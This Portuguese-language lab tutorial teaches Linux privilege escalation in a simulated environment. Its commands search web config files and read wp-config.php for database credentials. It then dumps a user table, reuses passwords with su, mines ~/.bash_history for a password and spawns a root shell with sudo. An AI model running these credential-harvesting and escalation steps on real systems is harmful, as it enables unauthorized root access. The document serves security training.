Introdução
Neste laboratório, aprenderemos como encontrar e explorar arquivos de configuração sensíveis em um sistema Linux para escalar nossos privilégios para root. O objetivo é obter uma compreensão mais profunda dos arquivos de configuração de serviços web e arquivos de configuração relacionados a usuários, e como aproveitá-los para a escalada de privilégios. Assumiremos que já obtivemos um shell com poucos privilégios, como o usuário www-data, através de uma vulnerabilidade web, e exploraremos técnicas para elevar nosso acesso a root.
Investigando Arquivos de Configuração de Serviços Web
Arquivos de configuração de serviços web podem conter informações sensíveis, como credenciais de banco de dados, que podem ser usadas para escalada de privilégios se o administrador reutilizou senhas.
Primeiro, abra um terminal e navegue até
/home/labex/project.cd /home/labex/projectVamos começar inicializando o ambiente do laboratório:
./env_setup_1.shApós a inicialização, estamos agora operando como o usuário
www-data, simulando um shell com poucos privilégios obtido através de uma vulnerabilidade web.Serviços web no Linux são tipicamente armazenados no diretório
/var/www. Devemos focar nos seguintes arquivos:database.phpuser.php*.configconfig.php
Podemos procurar por esses arquivos usando o seguinte comando:
find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2> /dev/nullSaída esperada:
/var/www/wordpress/wp-admin/includes/user.php /var/www/wordpress/wp-includes/user.php /var/www/wordpress/wp-content/plugins/akismet/views/config.phpAdicionalmente, se o sistema alvo estiver usando um Sistema de Gerenciamento de Conteúdo (CMS - Content Management System), podemos procurar a localização padrão do arquivo de conexão do banco de dados para aquele CMS específico.
Neste ambiente de laboratório, o servidor está usando o CMS WordPress. Ao pesquisar, descobrimos que a configuração do banco de dados do WordPress está armazenada no arquivo
/var/www/wordpress/wp-config.php:more /var/www/wordpress/wp-config.phpEste arquivo contém as credenciais da conta root do MySQL:
/** MySQL database username */ define( 'DB_USER', 'root' ); /** MySQL database password */ define( 'DB_PASSWORD', 'cD8M2M8fMiDHu4m1' );Considerando a possibilidade de reutilização de senha pelo administrador, podemos tentar fazer login como o usuário root do sistema usando esta senha:
su -Infelizmente, esta senha não funciona para o usuário root.
Em seguida, podemos fazer login no banco de dados MySQL e procurar mais informações:
mysql -u root -p -h 127.0.0.1Insira a senha do arquivo
wp-config.php:cD8M2M8fMiDHu4m1Dentro do banco de dados MySQL, podemos executar os seguintes comandos para reunir mais informações:
Verifique os bancos de dados disponíveis:
show databases;Selecione o banco de dados
ROB:use ROB;Liste as tabelas no banco de dados
ROB:show tables;Selecione a tabela
rob_user:select * from rob_user;Do banco de dados, obtemos mais dois conjuntos de credenciais:
root:CMPc5MoAGf alice:psoj9apv4uSaia do banco de dados MySQL:
exitPodemos tentar fazer login como o usuário root usando a senha
CMPc5MoAGf:su -Insira a senha que obtivemos do banco de dados:
CMPc5MoAGfDesta vez, ganhamos acesso root com sucesso!
Crie um arquivo chamado
proof.txtno diretório/rootpara demonstrar a escalada de privilégios bem-sucedida:echo "Success" > /root/proof.txtVerifique se o arquivo foi criado:
ls /root/proof.txtNesta etapa, aprendemos como encontrar e explorar informações sensíveis em arquivos de configuração de serviços web para escalar privilégios. A ideia central é procurar credenciais de autenticação no servidor e aproveitar a potencial reutilização de senhas para escalada de privilégios.
Investigando Arquivos de Configuração Relacionados a Usuários
Nesta etapa, focaremos em arquivos de configuração relacionados a usuários que podem conter informações sensíveis.
Após a etapa anterior, você ainda pode estar no shell root. Para esta etapa, voltaremos ao usuário labex executando o seguinte comando:
su - labex
Primeiro, navegue até
/home/labex/project.cd /home/labex/projectVamos começar inicializando o ambiente do laboratório:
./env_setup_2.shApós a inicialização, estamos agora operando como o usuário
user001.Os dois principais arquivos de configuração relacionados a usuários a serem investigados são:
~/.bash_profile: Usado para configurar variáveis de ambiente e programas de inicialização. Este arquivo é executado quando um usuário faz login (login).~/.bash_history: Um arquivo no diretório home de cada usuário que registra o histórico de comandos do shell do usuário, normalmente armazenando os últimos 1000 comandos (este recurso pode ser desativado em algumas distribuições Linux).
Vamos começar verificando o arquivo
~/.bash_profile:cat ~/.bash_profileSaída esperada:
cat: /home/user001/.bash_profile: No such file or directoryNeste caso, o usuário
user001não parece estar usando o arquivo~/.bash_profile.Em seguida, vamos verificar o arquivo
~/.bash_history:cat ~/.bash_historyAqui, encontramos um comando registrado no histórico:
... echo user001:09FMWNFS7n | chpasswd ...Este comando sugere que a senha do usuário
user001foi alterada para09FMWNFS7n.Podemos tentar usar esta senha para obter privilégios elevados:
sudo whoamiE insira a senha que encontramos no arquivo
~/.bash_history:09FMWNFS7nA senha funciona, e podemos executar comandos com privilégios
sudo.Para obter um shell root, podemos usar o seguinte comando:
sudo /bin/bash -pObtivemos com sucesso um shell root explorando informações do histórico de comandos do usuário.
Finalmente, crie um arquivo chamado
success.txtno diretório/rootpara completar o laboratório:echo "Congratulations" | sudo tee /root/success.txt
Resumo
Neste laboratório, aprendemos como encontrar e explorar informações sensíveis em arquivos de configuração de serviços web e arquivos de configuração relacionados a usuários para escalar privilégios em um sistema Linux. Exploramos técnicas para pesquisar arquivos que podem conter credenciais de autenticação, como arquivos de conexão de banco de dados, histórico de comandos do usuário e outros arquivos de configuração. Ao alavancar a potencial reutilização de senhas, fomos capazes de obter acesso root.
A principal lição é estar sempre atento a informações sensíveis armazenadas no sistema, pois isso pode potencialmente levar à escalada de privilégios. Embora este laboratório tenha se concentrado em tipos específicos de arquivos, é essencial manter uma mentalidade de busca contínua por quaisquer arquivos ou informações que possam ser explorados para fins de escalada de privilégios.